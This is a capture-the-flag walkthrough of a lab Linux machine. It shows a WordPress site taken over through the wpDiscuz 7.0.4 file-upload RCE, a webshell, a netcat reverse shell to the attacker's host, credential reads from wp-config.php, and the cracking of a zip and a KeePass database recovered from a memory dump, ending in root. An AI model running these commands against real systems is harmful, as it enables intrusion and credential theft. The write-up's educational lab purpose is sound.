TheHackersLabs — https://thehackerslabs.com/
- Platform: TheHackersLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 aa:8d:e4:75:bc:f3:f8:5e:42:d0:ee:ca:e2:c4:0b:97 (ECDSA)
|_ 256 ae:fd:91:ef:42:71:cb:11:b9:66:97:bf:ec:5b:d6:4b (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3306/tcp open mysql MariaDB 5.5.5-10.11.6
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
| Thread ID: 32
| Capabilities flags: 63486
| Some Capabilities: InteractiveClient, Speaks41ProtocolOld, SupportsCompression, SupportsTransactions, DontAllowDatabaseTableColumn, LongColumnFlag, IgnoreSigpipes, Support41Auth, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ODBCClient, ConnectWithDatabase, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: &4sg-G\zqJ[j'{\9IBM<
|_ Auth Plugin Name: mysql_native_password
SSH (22)
Passwordbased authentication
❯ ssh root@192.168.66.133
The authenticity of host '192.168.66.133 (192.168.66.133)' can't be established.
ED25519 key fingerprint is: SHA256:Fz7PwJctI/+Ds3Gb0sxp8WybHKUzhyFrlJbMQp7WNqg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.133' (ED25519) to the list of known hosts.
root@192.168.66.133's password:
HTTP (80)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Index
- Plane site.
Apache2 Debian Default Page
Dirsearch
Wordpressfound
200 - 14KB - /wordpress/
200 - 3KB - /wordpress/wp-login.php
WPScan
- Command
wpscan --url http://192.168.66.133/wordpress -e u,at,ap --plugins-detection mixed
- Output
[+] URL: http://192.168.66.133/wordpress/ [192.168.66.133]
[+] Started: Sun Feb 8 07:50:57 2026
[+] Headers
[+] XML-RPC seems to be enabled: http://192.168.66.133/wordpress/xmlrpc.php
[+] WordPress readme found: http://192.168.66.133/wordpress/readme.html
[+] Upload directory has listing enabled: http://192.168.66.133/wordpress/wp-content/uploads/
[+] The external WP-Cron seems to be enabled: http://192.168.66.133/wordpress/wp-cron.php
[+] WordPress version 6.9.1 identified (Latest, released on 2026-02-03).
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive and Aggressive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Version: 5.3.1 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.66.133/wordpress/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.66.133/wordpress/wp-content/plugins/akismet/readme.txt
[+] wpdiscuz
| Version: 7.0.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.66.133/wordpress/wp-content/plugins/wpdiscuz/readme.txt
[+] Enumerating All Themes (via Passive and Aggressive Methods)
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] Theme(s) Identified:
[+] twentytwentyfive
[+] twentytwentyfour
[+] twentytwentythree
[+] twentytwentytwo
[+] Enumerating Users (via Passive and Aggressive Methods)
[i] User(s) Identified:
[+] mortadela
Looking for plugins vulnerabilities
❯ searchsploit wpdiscuz
-------------------------------------------------------------------------
Exploit Title
-------------------------------------------------------------------------
[...] wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
[...] wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
[...] wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit)
Download Exploit (RCE unauthenticated)
❯ searchsploit -m php/webapps/49967.py
Exploit: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/49967
Path: /usr/share/exploitdb/exploits/php/webapps/49967.py
Codes: CVE-2020-24186
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable, with very long lines (864)
Exploitation
Running the exploit
- Command
python3 49967.py -u http://192.168.66.133/wordpress \
-p /index.php/2024/04/01/hola-mundo/
- Output
---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
---------------------------------------------------------------
[+] Response length:[111567] | code:[200]
[!] Got wmuSecurity value: ebd0bd9714
[!] Got wmuSecurity value: 1
[+] Generating random name for Webshell...
[!] Generated webshell name: ejdclyaimgbqvqm
[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url":"http://192.168.0.108/wordpress/wp-content/uploads/2026/02/ejdclyaimgbqvqm-1770550310.2979.php"
Webshell
- Output link is not working (wrong IP address)
http://192.168.0.108/wordpress/wp-content/uploads/2026/02/ejdclyaimgbqvqm-1770550310.2979.php
- Correct link (IP address fixed)
http://192.168.66.133/wordpress/wp-content/uploads/2026/02/ejdclyaimgbqvqm-1770550310.2979.php
Testing id command
- Command
curl 'http://192.168.66.133/wordpress/wp-content/uploads/2026/02/ejdclyaimgbqvqm-1770550310.2979.php?cmd=id'
- Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Getting a Reverse Shell
- Reverse Shell from Webshell using
cmdparameter
?cmd=busybox nc 192.168.66.130 1337 -e bash
- Reverse shell working
❯ nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.66.130] from (UNKNOWN) [192.168.66.133] 33018
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation
Users with a Shell
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
mortadela:x:1000:1000:mortadela,,,:/home/mortadela:/bin/bash
Wordpress database credentials
- Command
cat /var/www/html/wordpress/wp-config.php
- Output
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpress' );
/** Database password */
define( 'DB_PASSWORD', 'lolalolitalola' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
- Nothing interesting in the database
Interesting zip file in /opt
muyconfidencial.zip
www-data@mortadela:/$ ls -lRa /opt
/opt:
total 90880
drwxr-xr-x 2 root root 4096 Apr 1 2024 .
drwxr-xr-x 18 root root 4096 Apr 1 2024 ..
-rw-r--r-- 1 root root 93052465 Apr 1 2024 muyconfidencial.zip
- It requires password
❯ unzip muyconfidencial.zip
Archive: muyconfidencial.zip
[muyconfidencial.zip] Database.kdbx password:
Cracking the zip password
❯ zip2john muyconfidencial.zip > hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pinkgirl (muyconfidencial.zip)
[...]
Extract Zip content
- Two files were extracted
❯ file Database.kdbx
Database.kdbx: Keepass password database 2.x KDBX
❯ file KeePass.DMP
KeePass.DMP: Mini DuMP crash report, 17 streams, Mon Apr 1 17:43:46 2024, 0x421826 type
Cracking KDBX file
- We have a
.kdbxand a.DMPfile - I let john working for a few minutes over the hash from the .kdbx file with no success.
- Some research about Keepass vulnerabilities:
Using keepass-dump-masterkey
❯ python3 poc.py ../KeePass.DMP
2026-02-08 17:58:44,328 [.] [main] Opened ../KeePass.DMP
Possible password: ●aritrini12345
Possible password: ●Dritrini12345
Possible password: ●\ritrini12345
Possible password: ●#ritrini12345
Possible password: ●yritrini12345
Possible password: ●kritrini12345
Possible password: ●9ritrini12345
Possible password: ●;ritrini12345
Possible password: ●Hritrini12345
Possible password: ●[ritrini12345
Possible password: ● ritrini12345
Possible password: ●fritrini12345
- Important note:
As a reminder, the first character cannot be found in the dump, and for the second the script will only give you a few possibilities
custom-wordlist.txt
- We still need to figure out the first two characters.
- Let’s try with:
crunch 14 14 -t ,@ritrini12345 >> custom-wordlist.txt
crunch 14 14 -t @@ritrini12345 >> custom-wordlist.txt
Cracking .kdbx
keepass2john Database.kdbx > hash_kdbx
john hash_kdbx --wordlist=custom-wordlist.txt
[...]
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Maritrini12345 (Database)
.kdbx unlocked

Privesc to root
root credentials
root:Juanikonokukunero
www-data@mortadela:/opt$ su root
Password:
root@mortadela:/opt# id
uid=0(root) gid=0(root) grupos=0(root)